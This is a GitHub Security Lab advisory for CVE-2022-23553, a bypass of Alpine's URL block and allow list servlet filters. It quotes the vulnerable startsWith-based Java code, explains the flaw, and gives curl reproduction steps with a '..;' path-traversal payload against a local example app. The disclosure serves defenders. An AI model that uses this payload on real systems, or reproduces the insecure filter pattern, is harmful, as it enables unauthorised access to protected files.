skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
December 22, 2022

GHSL-2021-1009: URL access filters bypass in Alpine - CVE-2022-23553

Alvaro Munoz

Coordinated Disclosure Timeline


URL access filters (block and allow list) are subject to be bypassed



Tested Version



Issue: URL block/allow lists bypass (GHSL-2021-1009)

Alpine offers two Servlet filters to control the access to different resources based on the visited URL: BlacklistUrlFilter and WhitelistUrlFilter. Both of them compare the request URI to the list of allowed or blocked URLs using the String’s startsWith method.


        final String requestUri = req.getRequestURI();
        if (requestUri != null) {
            for (final String url: denyUrls) {
                if (requestUri.startsWith(url.trim())) {
            for (final String url: ignoreUrls) {
                if (requestUri.startsWith(url.trim())) {


        final String requestUri = req.getRequestURI();
        if (requestUri != null) {
            boolean allowed = false;
            final String requestUrlExcludingContext = requestUri.substring(req.getContextPath().length());
            for (final String url: allowUrls) {
                if (requestUrlExcludingContext.equals("/")) {
                    if (url.trim().equals("/") || (url.trim().equals("/index.jsp")) || (url.trim().equals("/index.html"))) {
                        allowed = true;
                } else if (requestUrlExcludingContext.startsWith(url.trim())) {
                    allowed = true;

This approach is insecure since the request URI contains the raw and non-canonicalized version of the URI such as /allowed/..;/blocked. For that particular URI, if the allowlist filter is configured to only allow access to URIs starting with /allowed, it will permit the access to /allowed/..;/blocked, but later, this URI will get resolved to just /blocked


This issue may lead access control bypasses and may enable to leak source code (when protecting application code on executable WAR files)


  1. Clone the Alpine example application
  2. Add a secret folder to /example/src/main/webapp/ with a secret file (eg: /example/src/main/webapp/secret/secret.txt)
  3. Enable a block list to deny access to /secret/*:
  4. Start the example application: mvn clean package -Pembedded-jetty ; java -jar target/example-embedded.war
  5. Access the secret file. You should receive a 403 forbidden response:
    ❯❯❯ curl -v http://localhost:8080/secret/secret.txt
    *   Trying ::1...
    * TCP_NODELAY set
    * Connected to localhost (::1) port 8080 (#0)
    > GET /secret/secret.txt HTTP/1.1
    > Host: localhost:8080
    > User-Agent: curl/7.64.1
    > Accept: */*
    < HTTP/1.1 403 Forbidden
    < Date: Thu, 23 Sep 2021 16:24:21 GMT
    < Content-Length: 0
    * Connection #0 to host localhost left intact
    * Closing connection 0
  6. Access the secret file as ``:
    ❯❯❯ curl "http://localhost:8080/foo/..;/secret/secret.txt"


    • CVE-2022-23553


This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).


You can contact the GHSL team at, please include a reference to GHSL-2021-1009 in any communication regarding this issue.